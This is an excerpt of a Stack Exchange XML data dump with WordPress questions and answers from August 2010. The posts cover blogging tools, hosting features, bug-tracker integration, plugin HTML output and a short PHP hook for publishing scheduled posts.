  <row Id="258" PostTypeId="2" ParentId="71" CreationDate="2010-08-12T18:33:12.963" Score="2" ViewCount="" Body="&lt;p&gt;Just saw this article the other day: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pluginize.com/blog/tutorials/how-to-create-a-simple-affiliate-program-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://pluginize.com/blog/tutorials/how-to-create-a-simple-affiliate-program-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They provide a tutorial and suggest using the following plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gravityforms.com&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-hide-dashboard/&quot; rel=&quot;nofollow&quot;&gt;WP Hide Dashboard&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gravityforms.com/category/gravity-forms-add-ons/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms Affiliate Add-On Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The tutorial also has some code snippets that you will need to add. I haven't tried it out, but it would be great if you came back and posted your results, as I'm sure many people would find it useful. There are also a number of commercial products solely for this purpose; just google &quot;&lt;a href=&quot;http://www.google.com/search?q=affiliate+platform+Wordpress&quot; rel=&quot;nofollow&quot;&gt;affiliate platform Wordpress&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2010-08-12T18:33:12.963" />
  <row Id="259" PostTypeId="2" ParentId="238" CreationDate="2010-08-12T18:49:58.233" Score="1" ViewCount="" Body="&lt;p&gt;When you are minify your javascript and CSS. I doubt you will get over 1MB of saved disk space. Maybe using a tool like smush.it or &lt;a href=&quot;http://imageoptim.pornel.net/&quot; rel=&quot;nofollow&quot;&gt;ImageOptim&lt;/a&gt; will make a significant (over 1MB) difference. Something that might help a lot (especially if you are using PNG's is to try to move your images to sprites. With the algorithm used it can compress images quite nicely (not guaranteed though)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet will be to remove all themes not used and all plugins not used. Nothing else you can do will really make a difference. If you site doesn't fit in 50 or 100MB of space shaving 20KB off your CSS and/or javascript won't help.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-12T18:49:58.233" />
  <row Id="260" PostTypeId="2" ParentId="211" CreationDate="2010-08-12T19:37:44.313" Score="2" ViewCount="" Body="&lt;p&gt;I think the best thing would be to create bug report and ask the WP foundation to install this extension &lt;a href=&quot;http://www.mediawiki.org/wiki/Extension:PdfBook&quot; rel=&quot;nofollow&quot;&gt;http://www.mediawiki.org/wiki/Extension:PdfBook&lt;/a&gt; If nothing else, mark it for private use and then provide the generated PDF for the users.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-12T19:37:44.313" />
  <row Id="261" PostTypeId="1" AcceptedAnswerId="269" CreationDate="2010-08-12T20:15:53.490" Score="16" ViewCount="376" Body="&lt;p&gt;Aside from the actual WordPress dashboard, what tools are available for writing posts, moderating comments, and otherwise administering your site?  Please identify whether you're referencing a desktop tool, a web-based tool, or a mobile tool.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-11-07T16:16:16.190" LastActivityDate="2011-04-19T15:07:29.427" CommunityOwnedDate="2010-08-12T20:15:53.490" Title="What tools are available for managing/writing to WordPress?" Tags="&lt;comments&gt;&lt;writing&gt;&lt;management&gt;" AnswerCount="10" CommentCount="2" FavoriteCount="12" />
  <row Id="262" PostTypeId="2" ParentId="261" CreationDate="2010-08-12T20:18:51.377" Score="2" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://explore.live.com/windows-live-writer&quot; rel=&quot;nofollow&quot;&gt;Windows Live Writer&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've used this tool to write both to my own blog and to clients' blogs.  It's a desktop tool provided free by Microsoft that syncs with your site for creating posts, managing categories, and uploading media.  The rich text editor allows you to copy-paste from Word documents and switch between a text view and a preview of what the post will look like on your site.  You can even write scheduled posts!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One word of warning, though.  The live preview feature might not work with some of the more dynamic themes.  I've seen it break with a few custom designs and with some themes from RocketThemes.  Otherwise, it's a great tool!&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-12T20:18:51.377" CommunityOwnedDate="2010-08-12T20:18:51.377" />
  <row Id="263" PostTypeId="2" ParentId="261" CreationDate="2010-08-12T20:19:03.013" Score="6" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://ios.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress for iOS&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The official WordPress client for iOS (iPhone, iPad, iPod Touch devices), and supports many of the standard WordPress features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is both open source and free to download from the App Store.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-12T20:19:03.013" CommunityOwnedDate="2010-08-12T20:19:03.013" CommentCount="1" />
  <row Id="264" PostTypeId="2" ParentId="261" CreationDate="2010-08-12T20:22:01.120" Score="2" ViewCount="" Body="&lt;p&gt;I don't know of many tools, but here are two:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For mobile, there are the iPhone, Android, and Blackberry apps for managing posts, pages and comments, as well as viewing stats on your mobile device.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://www.wpremote.com&quot; rel=&quot;nofollow&quot;&gt;WP Remote&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On the web, the only think I know of is &lt;a href=&quot;http://www.wpremote.com&quot; rel=&quot;nofollow&quot;&gt;http://www.wpremote.com&lt;/a&gt;. It's still in a private beta, but it will be a dashboard set up to help manage updating multiple WordPress installations and their plugins from one central location. It doesn't do anything with posting, comments, or otherwise, but is a nifty tool nevertheless.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-08-12T20:23:35.547" LastActivityDate="2010-08-12T20:23:35.547" CommunityOwnedDate="2010-08-12T20:22:01.120" CommentCount="4" />
  <row Id="265" PostTypeId="2" ParentId="261" CreationDate="2010-08-12T20:22:10.510" Score="5" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://android.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress for Android&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The official WordPress client for Android mobile devices. Can manage comments, posts and pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is both open source and free to download from the Android Market.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-12T20:22:10.510" CommunityOwnedDate="2010-08-12T20:22:10.510" CommentCount="1" />
  <row Id="266" PostTypeId="1" AcceptedAnswerId="287" CreationDate="2010-08-12T20:27:07.097" Score="20" ViewCount="762" Body="&lt;p&gt;I'm posting this as a community wiki because I'd like to get a collaboratively edited list of features for a high-end WordPress webhost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you are running a high-traffic WordPress-based site and/or a WordPress site that needs really hardened security what features would you love to see offered so that you don't have to implement everything that exceeds the most basic installation of WordPress core? Many of us know that &lt;a href=&quot;http://wpengine.com&quot; rel=&quot;nofollow&quot;&gt;WP Engine&lt;/a&gt; has just launched and it's the closest thing to a high-end webhost specifically for WordPress that I'm aware of. But rather than have there be only one, it would be great if there were many webhosts offering a much higher level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admittedly I'm weak in this area which is one of my reasons for posting but I'll start with a &lt;a href=&quot;http://en.wikipedia.org/wiki/Straw_man_proposal&quot; rel=&quot;nofollow&quot;&gt;strawman list&lt;/a&gt; of desired features. Let's ignore the non-WordPress related things like 24 hour phone support, etc. and ask that we also be specific i.e. don't just say  &quot;&lt;em&gt;performance optimized&lt;/em&gt;&quot; or &quot;&lt;em&gt;highly secure&lt;/em&gt;&quot; like you see &lt;a href=&quot;http://wpengine.com/features&quot; rel=&quot;nofollow&quot;&gt;on this site&lt;/a&gt;, but actual specifics that indicate a specific implementation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Preinstalled Memcached support&lt;/li&gt;&#xA;&lt;li&gt;Standard .htaccess tuning for GZIP support&lt;/li&gt;&#xA;&lt;li&gt;Optional integration with Amazon Cloud Front for upload files&lt;/li&gt;&#xA;&lt;li&gt;Automatic file and database backup with an advanced admin console like a &quot;Time Machine&quot; on the Mac but for WordPress in the Browser.&lt;/li&gt;&#xA;&lt;li&gt;Files that are automatically versioned upon FTP upload into SVN or GIT&lt;/li&gt;&#xA;&lt;li&gt;Automatic database versioning into SVN or GIT&lt;/li&gt;&#xA;&lt;li&gt;Pre-selected list of verified and supported plugins&lt;/li&gt;&#xA;&lt;li&gt;What else? I'm sure there's a much longer list than I've come up with.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another speciality feature could also be &lt;em&gt;White-labeled turnkey WordPress multisite hosting&lt;/em&gt;. What I mean by this is a service that allows someone with marketing and sales experience in a vertical niche (for example, &quot;&lt;em&gt;Dry Cleaners&lt;/em&gt;&quot;) to offer website hosting for their market without having to do any technical work whatsoever, including having the host handle all support as well as signup and billing but do it white-label. I think there's a huge market for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note I'm not asking because I want to create such a service, I don't, but I would like to see a definitive reference for webhosts who would consider offering such a service.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Another feature that would be nice to have would be to have a service that could &lt;strong&gt;synchronize WordPress core, themes and plugins across multiple servers&lt;/strong&gt; so that managing multiple server instances for a site that needs to scale would be easier and handled by the hosting company. (ref: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13067&quot; rel=&quot;nofollow&quot;&gt;Ticket #13067 - Configuration of Plugin and Theme Repository/ies&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE #2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Yet &lt;em&gt;another&lt;/em&gt; feature would be to offer an option to use a &lt;a href=&quot;http://www.sphinxsearch.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Sphinx Search&lt;/strong&gt;&lt;/a&gt; server and to interface it with WordPress using one of these plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-sphinx-search/&quot; rel=&quot;nofollow&quot;&gt;WP Sphinx Search&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-sphinx-plugin/&quot; rel=&quot;nofollow&quot;&gt;WordPress Sphinx Search Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://launchpad.net/wp-sphinx-plugin&quot; rel=&quot;nofollow&quot;&gt;WordPress Sphinx Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search/&quot; rel=&quot;nofollow&quot;&gt;Search API&lt;/a&gt; (&lt;a href=&quot;http://andy.wordpress.com/2009/08/21/wordpress-search-plugin/&quot; rel=&quot;nofollow&quot;&gt;See Also&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE #3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cron scheduling via robust and reliable Linux cron&lt;/strong&gt; as an alternative to &lt;a href=&quot;http://articles.sitepoint.com/article/wordpress-scheduling&quot; rel=&quot;nofollow&quot;&gt;WordPress' pseudo-cron&lt;/a&gt; (&lt;a href=&quot;http://core.trac.wordpress.org/ticket/2425&quot; rel=&quot;nofollow&quot;&gt;see also&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Category%3aWP-Cron_Functions&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;). Possibly incorporate admin functionality i.e. with one of the following plugins: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/crony/&quot; rel=&quot;nofollow&quot;&gt;Crony CronJob Manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/cron-view/&quot; rel=&quot;nofollow&quot;&gt;Cron View Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-crontrol/&quot; rel=&quot;nofollow&quot;&gt;WP-Crontrol&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE #4:&lt;/strong&gt;&#xA;Over on the LinkedIn WordPress group someone offered free hosting and I asked him what his service would offer &lt;a href=&quot;http://www.linkedin.com/groupAnswers?viewQuestionAndAnswers=&amp;amp;discussionID=27278811&amp;amp;gid=154024#commentID_21196886&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;to which he replied the following&lt;/strong&gt;&lt;/a&gt; (need to become a member to see this link, membership is free but I think you have to be approved by the group moderator first):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.suphp.org/&quot; rel=&quot;nofollow&quot;&gt;suPHP&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/minify/&quot; rel=&quot;nofollow&quot;&gt;PHP Minify&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ffmpeg.org/&quot; rel=&quot;nofollow&quot;&gt;FFMPEG&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/book.mcrypt.php&quot; rel=&quot;nofollow&quot;&gt;PHP Mcrypt&lt;/a&gt; and all Dependancies &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ioncube.com/loaders.php&quot; rel=&quot;nofollow&quot;&gt;ION Cube Loaders&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.boutell.com/gd/&quot; rel=&quot;nofollow&quot;&gt;GD Library&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lame.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;LAME&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mplayerhq.hu&quot; rel=&quot;nofollow&quot;&gt;MPlayer/MEncoder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.google.com/search?q=Zend+Optimizer&quot; rel=&quot;nofollow&quot;&gt;Zend Optimizer&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.3gpp.org&quot; rel=&quot;nofollow&quot;&gt;AMR codec support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://liba52.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;AC3 codec support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.audiocoding.com&quot; rel=&quot;nofollow&quot;&gt;AAC codec support&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lame.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;MP3 codec support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.xiph.org/downloads/&quot; rel=&quot;nofollow&quot;&gt;OGG/Vorbis codec support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.videolan.org/developers/x264.html&quot; rel=&quot;nofollow&quot;&gt;x264 codec support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.xvid.org&quot; rel=&quot;nofollow&quot;&gt;DivX/XviD codec support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mplayerhq.hu/MPlayer/releases/codecs/&quot; rel=&quot;nofollow&quot;&gt;win32 codec support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rubyforge.org/projects/flvtool2/&quot; rel=&quot;nofollow&quot;&gt;FLVtool2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache plugin&lt;/a&gt; for use with &lt;a href=&quot;http://www.highwinds.com/&quot; rel=&quot;nofollow&quot;&gt;Highwinds CDN&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In addition to those items he also mentioned:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Latest up to date version of PHP &lt;/li&gt;&#xA;&lt;li&gt;Latest up to date version of MySql &lt;/li&gt;&#xA;&lt;li&gt;MySql configured with high allocations of RAM&lt;/li&gt;&#xA;&lt;li&gt;Systems configured to do their best not to run anything in Swap&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And in addition to all the above someone else in the group suggested it would be nice to have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Opcode PHP cache like &lt;a href=&quot;http://php.net/manual/en/book.apc.php&quot; rel=&quot;nofollow&quot;&gt;APC&lt;/a&gt; or &lt;a href=&quot;http://eaccelerator.net/&quot; rel=&quot;nofollow&quot;&gt;eAccelerator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE #5:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The question  &quot;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/199/what-steps-can-i-take-to-optimize-wordpress-in-regard-to-server-load&quot;&gt;&lt;strong&gt;What steps can I take to optimize wordpress in regard to server load&lt;/strong&gt;&lt;/a&gt;&quot; has some useful comments related to this topic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T09:42:42.333" LastActivityDate="2011-03-02T22:29:50.183" CommunityOwnedDate="2010-08-12T20:27:07.097" Title="Best-of-Breed Features of a High-End WordPress Web Host?" Tags="&lt;hosting&gt;&lt;best-practices&gt;&lt;services&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="20" />
  <row Id="267" PostTypeId="2" ParentId="29" CreationDate="2010-08-12T20:34:29.187" Score="1" ViewCount="" Body="&lt;h2&gt;RocketTheme&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rockettheme.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.rockettheme.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another premium theme resource that hosts themes for WordPress, Joomla, Drupal, and phpBB.  The themes are high-quality, feature several customizable features, and sometimes come with multiple pre-set color scheme &quot;skins.&quot;  &lt;a href=&quot;https://www.rockettheme.com/join-a-club&quot; rel=&quot;nofollow&quot;&gt;Membership&lt;/a&gt; is both time-based and &lt;strong&gt;entitlement&lt;/strong&gt;-based (meaning you get a set number of theme downloads).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-12T20:34:29.187" CommunityOwnedDate="2010-08-12T20:34:29.187" />
  <row Id="268" PostTypeId="1" AcceptedAnswerId="270" CreationDate="2010-08-12T20:43:06.513" Score="3" ViewCount="489" Body="&lt;p&gt;First of all, I can't use Trac, which is what the WP dev community uses to track bugs.  However, my consulting company is using WordPress as a CMS for just about everything - product information, sales portal, news site, etc.  I'd like to set it up to integrate our plug-in listing with a bug tracker ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I have Flyspray set up as a standalone bug tracker.  It works alright, but it's a separate domain (&lt;a href=&quot;http://bt.jumping-duck.com&quot; rel=&quot;nofollow&quot;&gt;http://bt.jumping-duck.com&lt;/a&gt;) so that it remains separate from WordPress.  But I'd like to be able to pull in numbers of tickets onto the WP page listing our plug-ins.  Ideally, users could also submit bug reports directly from the plug-in info page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience integrating WP with a bug tracking system like this?  Should I stick with keeping the two systems separate?&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-08-12T20:54:42.787" LastActivityDate="2010-09-05T01:26:28.060" Title="Integrating WP as a CMS with a Bug Tracker" Tags="&lt;plugins&gt;&lt;debug&gt;&lt;bug-tracking&gt;" AnswerCount="4" FavoriteCount="5" />
  <row Id="269" PostTypeId="2" ParentId="261" CreationDate="2010-08-12T20:46:33.667" Score="14" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://explore.live.com/windows-live-writer&quot; rel=&quot;nofollow&quot;&gt;Windows Live Writer&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://explore.live.com/windows-live-writer&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Windows Live Writer (WLW)&lt;/strong&gt;&lt;/a&gt; is hands down the best, if you are on Windows. One of the things I love about it is its plugin architecture and how many people have written useful &lt;a href=&quot;http://wlwplugins.com/&quot; rel=&quot;nofollow&quot;&gt;plugins for WLW&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100812-164048.png&quot; alt=&quot;Windows Live Writer for Windows&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://www.qumana.com/&quot; rel=&quot;nofollow&quot;&gt;Qumana&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I searched far and wide for an equivalent on the Mac and didn't find a match but came close: &lt;a href=&quot;http://www.qumana.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Qumana&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100812-163415.png&quot; alt=&quot;Quamana Blog Editor for the Mac OS X&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Qumana still can't touch WLW because it doesn't strip garbage HTML (like from a Word .doc) like WLW does and it doesn't have a plugin architecture, but I keep hoping... :)&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-13T16:29:52.480" LastActivityDate="2010-08-13T16:29:52.480" CommunityOwnedDate="2010-08-12T20:46:33.667" CommentCount="6" />
  <row Id="270" PostTypeId="2" ParentId="268" CreationDate="2010-08-12T20:55:23.520" Score="3" ViewCount="" Body="&lt;p&gt;I don't see any reason not to make WordPress into a bug tracker. Essentially, tickets would be a non-hierarchical custom post type which would have several taxonomies, such as priority, status, etc.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-12T20:55:23.520" CommentCount="5" />
  <row Id="271" PostTypeId="2" ParentId="268" CreationDate="2010-08-12T21:17:57.773" Score="1" ViewCount="" Body="&lt;p&gt;The Custom Post Types UI plugin might be a good start as far as getting all of the post types and taxonomies setup. &lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-12T21:17:57.773" CommentCount="1" />
  <row Id="272" PostTypeId="1" AcceptedAnswerId="280" CreationDate="2010-08-12T21:23:16.170" Score="1" ViewCount="153" Body="&lt;p&gt;I recently wrote my first WP plugin that adds a shortcode for embedding a custom jquery image gallery into posts. It's primarily just dumps a good chunk of HTML into the post, along with javascript necessary for initialization. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I had to build the HTML output procedurally, as a string in PHP. This kind of tag soup always drives me nuts, and I'm used to working with MVC frameworks which provide things like helper functions and partial templates for generating HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the general approach for plugin authors who need to manage large amounts of dynamically built HTML or JS?&lt;/p&gt;&#xA;" OwnerUserId="167" LastActivityDate="2010-08-12T22:40:19.803" Title="dealing with large HTML output via plugin code" Tags="&lt;plugins&gt;&lt;html&gt;&lt;plugin-development&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="273" PostTypeId="1" AcceptedAnswerId="292" CreationDate="2010-08-12T21:32:55.083" Score="1" ViewCount="717" Body="&lt;p&gt;My Wordpress admin is constantly nagging me to upgrade to version 3.0. However, we use the Flutter plugin to provide all our CMS-like features. It's a pretty great plugin, but it doesn't seem to have been under active development lately, and I hear grumblings it's not compatible with 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone having luck with it? Should I wait around until an updated version is released, or start thinking about re-developing features of our site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="167" LastEditorUserId="71" LastEditorDisplayName="" LastEditDate="2010-08-13T13:50:30.847" LastActivityDate="2010-08-18T07:52:18.150" Title="Will Flutter work with Wordpress 3.0?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;flutter&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="274" PostTypeId="2" ParentId="272" CreationDate="2010-08-12T22:00:29.980" Score="1" ViewCount="" Body="&lt;p&gt;That depends on the type of HTML and JS.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;JavaScript&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First of all, separate the dynamic parts from the static parts as much as possible.  Then load whatever dynamic variables you need at runtime and queue your static scripts in the header (or footer, whatever).  But this way, the majority of your JS is separate from your PHP.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;HTML&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is a matter of building your code cleanly in the PHP.  If you have huge chunks of HTML that you're going to re-use, I'd store those as separate variables.  Then piecing things together when the shortcode is called is as simple as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $firstblock;&#xA;echo $shortcodecontent;&#xA;echo $lastblock;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rather than trying to build it out procedurally, build an object (yes, PHP supports objects) that contains all of your different HTML blocks, then instruct it which ones to use and which data to pass back.  This will save you huge amounts of time.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-12T22:00:29.980" />
  <row Id="275" PostTypeId="2" ParentId="175" CreationDate="2010-08-12T22:05:15.763" Score="1" ViewCount="" Body="&lt;p&gt;Awesome combining both the answers from Mike and Jan I came up with this which works only on the post type in question. We don't need the conditional of show because the 'future_show' hook only grabs the post type of show and updates that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function setup_future_hook() {&#xA; // Replace native future_post function with replacement&#xA; remove_action('future_show','_future_post_hook');&#xA; add_action('future_show','publish_future_post_now');&#xA;}&#xA;&#xA;function publish_future_post_now($id) {&#xA;        wp_publish_post($id);&#xA;}&#xA;&#xA;add_action('init', 'setup_future_hook');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-08-12T22:05:15.763" />
  <row Id="276" PostTypeId="2" ParentId="238" CreationDate="2010-08-12T22:19:00.293" Score="0" ViewCount="" Body="&lt;p&gt;You could start by using the WordPress Capistrano Git plugin:&#xA;&lt;a href=&quot;http://github.com/jestro/wordpress-capistrano&quot; rel=&quot;nofollow&quot;&gt;http://github.com/jestro/wordpress-capistrano&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will automate your deploys to the server. Then you could setup some of these other ideas to run on deploy as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shinylittlething.com/2010/01/20/css-minification-on-the-fly/&quot; rel=&quot;nofollow&quot;&gt;http://shinylittlething.com/2010/01/20/css-minification-on-the-fly/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deployment and minification is something that the Rails world (the one I'm most familiar with outside of WordPress) has down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose my answer may not hit your 'easy' qualitification in the question though.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-08-12T22:19:00.293" />
